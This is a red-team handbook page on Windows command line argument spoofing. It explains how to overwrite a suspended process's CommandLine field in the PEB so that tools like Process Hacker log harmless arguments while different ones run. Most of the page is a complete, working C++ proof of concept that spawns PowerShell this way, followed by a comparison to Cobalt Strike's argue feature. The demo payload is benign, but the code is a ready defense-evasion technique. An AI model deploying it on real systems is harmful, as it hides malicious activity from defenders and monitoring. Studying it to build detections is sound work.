> For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection/command-line-argument-spoofing.md).

# Command Line Argument Spoofing

The PEB of a process holds the command line arguments of a process. This PEB resides in usermode which means that we can spoof our command line arguments as an unprivileged user.&#x20;

Lets use WinDBG to see how this looks like.

To achieve this:&#x20;

1. **Create a suspended process**
2. **Find the Process Parameters field of the process**
3. **Find the RTL\_USER\_PROCESS\_PARAMETERS struct**
4. **Change the CommandLine field in RTL\_USER\_PROCESS\_PARAMETERS to spoof command line args**
5. **Resume process**

```cpp
#include <iostream>
#include <windows.h>
#include <winternl.h>
// https://github.com/NVISOsecurity/blogposts/blob/master/examples-commandlinespoof/Example%201%20-%20Powershell%20spawn%20with%20fake%20procexp%20args/code.cpp
#define CMD_TO_SHOW "powershell.exe -NoExit -c Write-Host 'This is just a friendly argument, nothing to see here'"
#define CMD_TO_EXEC L"powershell.exe -NoExit -c Write-Host This is just a friendly argument, nothing to see here;Write-Host Surprise, arguments spoofed\0"

typedef NTSTATUS(*NtQueryInformationProcess2)(
	IN HANDLE,
	IN PROCESSINFOCLASS,
	OUT PVOID,
	IN ULONG,
	OUT PULONG
	);

void* readProcessMemory(HANDLE process, void* address, DWORD bytes) {
	SIZE_T bytesRead;
	char* alloc;

	alloc = (char*)malloc(bytes);
	if (alloc == NULL) {
		return NULL;
	}

	if (ReadProcessMemory(process, address, alloc, bytes, &bytesRead) == 0) {
		free(alloc);
		return NULL;
	}

	return alloc;
}

BOOL writeProcessMemory(HANDLE process, void* address, void* data, DWORD bytes) {
	SIZE_T bytesWritten;

	if (WriteProcessMemory(process, address, data, bytes, &bytesWritten) == 0) {
		return false;
	}

	return true;
}

int main(int argc, char** canttrustthis)
{
	STARTUPINFOA si;
	PROCESS_INFORMATION pi;
	CONTEXT context;
	BOOL success;
	PROCESS_BASIC_INFORMATION pbi;
	DWORD retLen;
	SIZE_T bytesRead;
	PEB pebLocal;
	RTL_USER_PROCESS_PARAMETERS* parameters;

	printf("Argument Spoofing Example by @_xpn_\n\n");

	memset(&si, 0, sizeof(si));
	memset(&pi, 0, sizeof(pi));

	// Start process suspended
	success = CreateProcessA(
		NULL,
		(LPSTR)CMD_TO_SHOW,
		NULL,
		NULL,
		FALSE,
		CREATE_SUSPENDED | CREATE_NEW_CONSOLE,
		NULL,
		"C:\\Windows\\System32\\",
		&si,
		&pi);

	if (success == FALSE) {
		printf("[!] Error: Could not call CreateProcess\n");
		return 1;
	}

	// Retrieve information on PEB location in process
	NtQueryInformationProcess2 ntpi = (NtQueryInformationProcess2)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");
	ntpi(
		pi.hProcess,
		ProcessBasicInformation,
		&pbi,
		sizeof(pbi),
		&retLen
	);

	// Read the PEB from the target process
	success = ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), &bytesRead);
	if (success == FALSE) {
		printf("[!] Error: Could not call ReadProcessMemory to grab PEB\n");
		return 1;
	}

	// Grab the ProcessParameters from PEB
	parameters = (RTL_USER_PROCESS_PARAMETERS*)readProcessMemory(
		pi.hProcess,
		pebLocal.ProcessParameters,
		sizeof(RTL_USER_PROCESS_PARAMETERS) + 300
	);

	// Set the actual arguments we are looking to use
	WCHAR spoofed[] = CMD_TO_EXEC;
	success = writeProcessMemory(pi.hProcess, parameters->CommandLine.Buffer, (void*)spoofed, sizeof(spoofed));
	if (success == FALSE) {
		printf("[!] Error: Could not call WriteProcessMemory to update commandline args\n");
		return 1;
	}

	/////// Below we can see an example of truncated output in ProcessHacker and ProcessExplorer /////////

	// Update the CommandLine length (Remember, UNICODE length here)
	DWORD newUnicodeLen = 139;

	success = writeProcessMemory(
		pi.hProcess,
		(char*)pebLocal.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length),
		(void*)&newUnicodeLen,
		4
	);
	if (success == FALSE) {
		printf("[!] Error: Could not call WriteProcessMemory to update commandline arg length\n");
		return 1;
	}

	// Resume thread execution*/
	ResumeThread(pi.hThread);
}
```

Tools like process hacker will log the clean arguments, but will execute the malicious arguments.&#x20;

![](/files/-MgHMxvBNDIdiUe5LcaQ)

This is also what Cobalt Strike's argue does.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection/command-line-argument-spoofing.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
